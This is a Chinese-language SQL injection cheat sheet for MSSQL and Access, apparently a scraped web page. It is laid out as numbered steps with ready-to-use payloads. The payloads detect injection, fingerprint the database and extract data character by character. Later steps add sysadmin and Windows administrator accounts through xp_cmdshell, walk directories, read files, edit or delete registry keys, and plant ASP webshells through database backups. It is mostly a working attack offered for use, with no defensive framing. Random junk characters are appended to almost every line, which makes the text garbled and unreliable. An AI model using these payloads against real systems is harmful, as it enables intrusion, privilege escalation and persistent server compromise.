1.判断是否有注入;and 1=1 ;and 1=2 .pZ o(*
2.初步判断是否是mssql ;and user>0 $gVLk.
h/I@_?k+
3.注入参数是字符'and [查询条件] and ''=' 3`58ah
;>9OgO
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^^G-kg
.OmQ'
5.判断数据库系统 ?k{|Lk
L5Urg*GNL
;and (select count(*) from sysobjects)>0 mssql -<Jq
CI,lkO|C
;and (select count(*) from msysobjects)>0 access 96c"I;\GXX
[ njx7d
XtCoX\da
%_R$K#T^,
6.猜数据库 ;and (select Count(*) from [数据库名])>0 *(k%MTG
i"L}!5
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 QU:EY'2
pT4qPta,2
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ptx,2e&Hq
[%)@|^hw91
9.(1)猜字段的ascii值(access) * [tc
6|,e%
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i90}Xyt
@l'G[jN5
(2)猜字段的ascii值(mssql) bE?'C h
DU;[btK>
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 k, f)2<
oEJaH
10.测试权限结构(mssql) ]nUR;8
cTM$ZNin
7_DG 5nT
&vCeLh:s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]/Vh{d|I&
)s7bJjT0=X
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- V1<ow'^i
%`#G92Z_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- tM)Iir*U#
QU.0Elw
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- OB~C} '^$
M;*$gV<x
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- GuT6K}~|D
X~lZ OVmS
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #e/2C
T|ZF/&XP
;and 1=(select IS_MEMBER('db_owner'));-- 3:lDL2
9`B0fv Q&
XYe~G@Q Z
,yICNtP
11.添加mssql和系统的帐户 RlrZxmPV>O
id^|\hDR
;exec master.dbo.sp_addlogin username;-- 6
}! Z"
;exec master.dbo.sp_password null,username,password;-- pTWg
m\h
a9=> r
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8lwFAiC8
h3kaD
;exec master.dbo.xp_cmdshell 'net user username password CM9 XPr
9RQU?
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Gzw@w{JBL
A:eFd]E{(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- PL@~Ys0
FEF"\O|Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- L}$z/jo
+{.780|
}X]\VSF{
IU|kNBo
12.(1)遍历目录 2Z)4(,
,h^r:g
;create table dirs(paths varchar(100), id int) %:3'4;jh%
%ISq>A)%
;insert dirs exec master.dbo.xp_dirtree 'c:\' } B0sC%cm
rfs (#
;and (select top 1 paths from dirs)>0 GP+2/D
TnNWO+kg
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HY ;9?KJ'
.k@^KY
gfde#T)S
?`"n3!>bS
(2)遍历目录 '. (~
H<`\bej,
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- &vkjmiAS
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;L~p|sF
}3Y
<$YL"R
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 _A{+H^,
r<c #nD~K
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 :"<e0wDu[
@'i+ff\
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ;F5"}x
R)oB!$k
*%\mZ,s"
S/4r\6
13.mssql中的存储过程 @vRwzc\
]78!!G[`
xp_regenumvalues 注册表根键, 子键 pYo=oI
W;zpt|kAH
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XA<ozq'
XJgh>^R^
xp_regread 根键,子键,键值名 h?Nek+1'
>{5
p0
;exec xp_regread \\:|Odd
&nY;=Hv`WY
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 r\2vl8X~
7 Wl-n
xp_regwrite 根键,子键, 值名, 值类型, 值 2q PhLCeZ
:et#0!
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 =dzWmL<~8
$DebXxJw0l
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 kz B\'m,l
khx.yRx
xp_regdeletevalue 根键,子键,值名 c.%.\al8oW
XF*.Jg]
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 M;jcUX_{
hJ*Ihwn|
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ObG=>WPJa
4^*,jS-9g}
q.Jsf+
])w[
14.mssql的backup创建webshell |=6_ xRyr
vXv;1T
use model -*B`]
'<dgT&8C
create table cmd(str image); 5~'IKcW<
bT)]'(Xy
insert into cmd(str) values (''); J?&l*_m;t
8wK ~
i
backup database model to disk='c:\l.asp'; }%TPYc
Lrd[O v
/<Ld'J
i47j lyH
15.mssql内置函数 =0qpVFvU
S($Su7g%_
;and (select @@version)>0 获得Windows的版本号 vLT0ETHg6
ZnW@YC#9
;and user_name()='dbo' 判断当前系统的连接用户是不是sa W*N$'%
IH9.F
;and (select user_name())>0 爆当前系统的连接用户 lg$zGa?
d0'HDVd
;and (select db_name())>0 得到当前连接的数据库 <S?#@F\"S
[?k8}B)mHB
i-"
p)2d=#
*\G)z|^yx
16.简洁的webshell 0bS|fMgc
:A1:
use model _;
Y`
Iu[|<Cx
create table cmd(str image); lpB3&H8&
%NHkDa!
insert into cmd(str) values ('');
2]cRXJ7h
NSQp<
m
backup database model to disk='g:\wwwtest\l.asp';